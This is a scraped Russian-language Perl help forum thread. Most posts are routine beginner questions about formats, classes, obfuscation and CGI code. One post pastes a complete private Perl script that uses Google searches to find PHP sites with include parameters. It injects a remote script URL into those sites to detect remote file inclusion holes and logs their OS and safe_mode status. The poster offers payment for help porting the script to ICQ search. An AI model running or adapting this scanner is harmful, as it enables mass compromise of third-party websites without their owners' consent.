Как бы сильно код ни был зашифрован, въедливый реверсер восстановит исходник. Видимо, тока perl2exe, perlcc или подобные
Его нада дописать как надо! Потом сохранить и на фтп зделать префикс тока чьтение или лучше вобще вырубить для постороних! Если это реклама с хоста дописывается в коде попробуй повторить в своем коде код который дописывается мне один раз этот способ помог! Единственый минус этого способа в низу будет показывать ошибка на стронице! ещё моно в конце дописать! если конец строницы равен этому концу не выполнять конец(код который дописывается)иначе продолжать работу!
Естественно,хэндлер для .pl .cgi файлов... И поставить опцию +ExecCGI на диру,откуда будешь запускать скрипты, ну и,естественно, права )) 2 geforce Думаю, что он все-таки имел в виду обфускацию\компиляцию... Толково перловый код не обфусцируешь...всеравно легко все это вскрывается ) А в случае с компиляторами(perl2exe,perlcc), как уже было сказано - могут быть проблемы с работой скрипта в дальнейшем...
только начал учить .copy/past с учебника #!/usr/local/bin/perl open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!"; while(<PASS>) { ($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':'); write(); # Форматированный вывод данных. } close(PASS); exit 0; # Завершение программы ### Описание формы вывода ### format STDOUT = Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $name ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $name ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $name --------------------------------------------------------------- Login<<< Uid<<< Gid<<< Home dir<<< $login, $uid, $gid, $home_dir --------------------------------------------------------------- . # Это последняя строка программы пишет Format not terminated at 1.pl line 23, at end of line syntax error at 1.pl line 23, at EOF Execution of 1.pl aborted due to compilation errors. Oo
Списал из учебника примеры кодов работы с классами. В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит. Вот реализация первого класса: Code: package Hourly; use Employee; our @ISA = qw(Employee); sub new { my $object = shift(); my $class = ref($object) || $object; my $self = $class->SUPER::new(); $self->{rate} = undef; bless($self, $class); return $self; } sub rate { Тут реализация метода} 1; Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении: Code: Can't locate object method "rate" via package Employee at __ line __ И второй случай с сокрытием данных. Code: package EmployeeClosure; sub new { my $object = shift(); my $class = ref($object) || $object; my $employee = {firstname => shift(), lastname => shift()}; my $hireDay = new Date; if ($_[0]) { my ($month, $day, $year) = split(/\//, $_[0]); $hireDay->day($day); $hireDay->month($month); $hireDay->year($year); } my $self = sub { my $field = shift(); $employee->{$field} = shift() if (@_); return $employee->($field); }; bless ($self, $class); return $self; } Выдает: Code: Not a CODE reference at __ line 22; ( это строка return $employee->($field);) Тут у меня вообще пока соображений нет.
Code: ... print $answer->header('server'); # Выводим поле Server из заголовка print "\n============================\n";
Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.
в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((() заранее спасибо с уважанием Сатана PHP: #! /usr/bin/perl # ================================================================ # # google-php-include-bugs searcher v 0.8 # # (c)oded by drmist\STNC # # www.security-teams.net # # # # ATTENTION. THIS SCRIPT IS PRIVATE. # # ONLY FOR STNC AND FRIENDS. NOT FOR SALE. # # # # Usage: perl script.pl --log=<log-file> --url=<test-script-url> # # Test script: # # <?php # # error_reporting(0); # # $s = md5("STNC"); # # $code = eregi("windows", php_uname())+ # # 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ # # 4*ini_get('safe_mode'); echo $s."[$code]".$s; # # ?> # # ================================================================ # use IO::Socket; @inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat", "inc", "incl", "include", "read", "write", "data", "code", "fname", "filename", "cont", "content", "menu", "open", "file", "id", "p", "f", "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo", "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu", "conteudo"); @zones = ("com", "net", "org", "de", "fr", "uk", "br", "am", "info", "name", "aero", "biz", "edu", "ws", "in", "cn", "us", "be", "it", "cc", "tv", "ru", "su", "jp", "kz", "se", "is", "ca", "gs", "ms", "vg", "be", "fi", "gov"); @ftypes = ("php", "php3"); $boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC"); for($i = 0; $i < @ARGV; $i++) { if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; } elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; } } if(!($script && $log)){ usage(); exit; } foreach $inc(@inc_bugs) { foreach $zone(@zones) { foreach $ftype(@ftypes) { $request = "filetype:$ftype site:$zone inurl:$inc="; print "\n[$request]\n"; $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg; @dn = (); for($i = 0;$i < 10; $i++) { @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i. "00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi; foreach $url (@temp) { if($url !~ /($inc=[^\&]+)/i) { next; } $left = $`; $right = $'; if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; } if($url =~ /google\.com/i){ next; } ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/; if($domain =~ /^www\.(.+)$/) { $domain = $1; } $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;} push @dn, $domain; $print = "$left$inc=[INCLUDE]$right"; if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i) { $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n"; $count++; print "[$count] $s"; open LOG, ">>$log"; print LOG $s; close LOG; } else { print "$print - no bugs\n"; } } } } } } sub timeout() { close $sock; } sub get() { local $request = $_[0]; local $port = 80; local $data = ""; if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/) { if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; } $sock = IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM, TimeOut => $timeout ) or return 0; # connection failed print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n"; $SIG{ALRM} = \&timeout; alarm 10; while(<$sock>){ $data .= $_; } alarm 0; close $sock; } return $data; } sub usage() { print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source> ); }
Есть строка else { $ErrMsg="Логин $FORM{'login'} не зарегистрирован."; StartHTML(); login_form(); finish_doc() } Подскажите пожалуйста ее смысл в частности что значит StartHTML(); login_form(); finish_doc().